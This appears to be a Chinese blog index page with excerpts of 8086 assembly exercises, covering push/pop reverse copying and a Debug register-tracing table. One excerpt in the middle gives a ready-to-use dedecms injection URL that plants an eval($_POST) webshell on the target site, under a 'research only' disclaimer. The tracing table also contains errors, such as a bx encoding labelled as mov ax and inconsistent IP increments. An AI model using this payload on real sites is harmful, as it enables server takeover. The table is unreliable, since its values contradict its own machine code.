(1) 补全下面的程序,使其可以将10000H~1000FH中的8个字,逆序复制到20000H~2000FH中。逆序复制的含义如图3.17所示(图中内存里的数据均为假设)。

图3.17 逆序复制示意图
mov ax, 1000H
mov ds, ax
mov ax, 2000H
mov ss, ax
mov sp, 0010H
push [0]
push [2]
push [4]
push [6]
push [8]
push [A]
push [C]
push [E]
(2) 补全下面的程序,使其可以将 10000H~1000FH 中的8个字,逆序复制到20000H~2000FH中。
mov ax, 2000H
mov ds, ax
mov ax, 1000H
mov ss, ax
mov sp, 0000H
pop [E]
pop [C]
pop [A]
pop [8]
pop [6]
pop [4]
pop [2]
pop [0]
dedecms5.3和5.5系列版本存在重大注入漏洞,请注意以下操作有攻击性,仅供研究。利用此漏洞进行违法活动者,后果自负。
假设域名是:www.abc.com 攻击步骤如下:
1. 访问网址:
http://www.abc.com/plus/digg_frame.php?action=good&id=1024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见以下错误信息

注入成功
阅读全文…
(1) 在Debug中,用户”d 0:0 1F” 查看内存,结果如下。
0000:0000 70 80 F0 30 EF 60 30 E2-00 80 12 66 20 22 60
0000:0010 62 26 E6 D6 CC 2E 3C 3B-AB BA 00 00 26 06 66 88
下面的程序执行前,AX=0,BX=0,写出每条汇编指令执行后相关寄存器中的值。
阅读全文…
2.实验任务
(1)使用Debug,将下面的程序段写入内存,逐条执行,观察每条指令执行后,CPU中相关寄存器中内容的变化。
注意在进入debug模式时 AX 和 BX 的初始数据为 0000H
机器码 汇编指令
b8 20 4e mov ax,4E20H 使用T命令读入指令后 IP = IP + 3 执行指令后 AX=4E20H
05 16 14 add ax,1416H 使用T命令读入指令后 IP = IP + 3 执行指令后 AX=6236H
bb 00 20 mov ax,2000H 使用T命令读入指令后 IP = IP + 3 执行指令后 AX =2000H
01 d8 add ax,bx 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=2000H,BX=0000H
89 c3 mov bx,ax 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=2000H,BX=2000H
01 d8 add ax,bx 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=4000H,BX=2000H
b8 1a 00 mov ax,001AH 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=001AH,BX=2000H
bb 26 00 mov bx,0026H 使用T命令读入指令后 IP = IP + 3 执行指令后 AX=001AH,BX=0026H
00 d8 add al,bl 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=0040H,BX=0026H
00 dc add ah,bl 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=2640H,BX=0026H
00 c7 add bh,al 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=2640H,BX=4026H
b4 00 mov ah,0 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=0040H,BX=4026H
00 d8 add al,bl 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=0066H,BX=4026H
04 9c add al,9CH 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=0002H,BX=4026H
注意,以上结果是102H,担al是8位寄存器,高位1不能存放在al中
提示,可用E命令和A命令以两种方式将将指令写入内存。注意用T命令执行时,CS:IP的指向。
阅读全文…